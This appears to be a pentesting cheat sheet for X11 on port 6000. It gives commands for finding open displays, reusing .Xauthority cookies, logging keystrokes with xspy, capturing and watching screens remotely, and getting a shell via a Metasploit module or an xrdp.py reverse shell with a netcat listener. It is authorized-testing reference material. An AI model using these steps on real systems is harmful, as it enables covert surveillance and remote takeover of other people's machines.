# 6000 - Pentesting X11
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This flexibility allows for diverse and customizable experiences within the X environment. **Default port:** 6000 ``` PORT STATE SERVICE 6000/tcp open X11 ``` ## Enumeration Check for **anonymous connection:** ```bash nmap -sV --script x11-access -p msf> use auxiliary/scanner/x11/open_x11 ``` #### Local Enumeration The file **`.Xauthority`** in the users home folder is **used** by **X11 for authorization**. From [**here**](https://stackoverflow.com/a/37367518): ```bash $ xxd ~/.Xauthority 00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M 00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE- 00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X 00000030: 041d ef ... ``` > MIT-magic-cookie-1: Generating 128bit of key (“cookie”), storing it in \~/.Xauthority (or where XAUTHORITY envvar points to). The client sends it to server plain! the server checks whether it has a copy of this “cookie” and if so, the connection is permitted. the key is generated by DMX. {% hint style="warning" %} In order to **use the cookie** you should set the env var: **`export XAUTHORITY=/path/to/.Xauthority`** {% endhint %} #### Local Enumeration Session ```bash $ w 23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session ``` In the example, `localhost:0` was running xfce4-session. ## Verfy Connection ```bash xdpyinfo -display : xwininfo -root -tree -display : #Ex: xwininfo -root -tree -display 10.5.5.12:0 ``` ## Keyloggin [xspy](http://tools.kali.org/sniffingspoofing/xspy) to sniff the keyboard keystrokes. Sample Output: ``` xspy 10.9.xx.xx opened 10.9.xx.xx:0 for snoopng swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123 qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab ``` ## Screenshots capturing ```bash xwd -root -screen -silent -display > screenshot.xwd convert screenshot.xwd screenshot.png ``` ## Remote Desktop View Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) ``` ./xrdp.py ``` Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) First we need to find the ID of the window using xwininfo ``` xwininfo -root -display 10.9.xx.xx:0 xwininfo: Window id: 0x45 (the root window) (has no name) Absolute upper-left X: 0 Absolute upper-left Y: 0 Relative upper-left X: 0 Relative upper-left Y: 0 Width: 1024 Height: 768 Depth: 16 Visual: 0x21 Visual Class: TrueColor Border width: 0 Class: InputOutput Colormap: 0x20 (installed) Bit Gravity State: ForgetGravity Window Gravity State: NorthWestGravity Backing Store State: NotUseful Save Under State: no Map State: IsViewable Override Redirect State: no Corners: +0+0 -0+0 -0-0 +0-0 -geometry 1024x768+0+0 ``` **XWatchwin** For **live viewing** we need to use ```bash ./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo ./xwatchwin 10.9.xx.xx:0 -w 0x45 ``` ## Get Shell ``` msf> use exploit/unix/x11/x11_keyboard_exec ``` Other way: **Reverse Shell:** Xrdp also allows to take reverse shell via Netcat. Type in the following command: ```bash ./xrdp.py \ –no-disp ``` In the interface you can see the **R-shell option**. Then, start a **Netcat listener** in your local system on port 5555. ```bash nc -lvp 5555 ``` Then, put your IP address and port in the **R-Shell** option and click on **R-shell** to get a shell ## References * [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) * [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) * [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) ## Shodan * `port:6000 x11`
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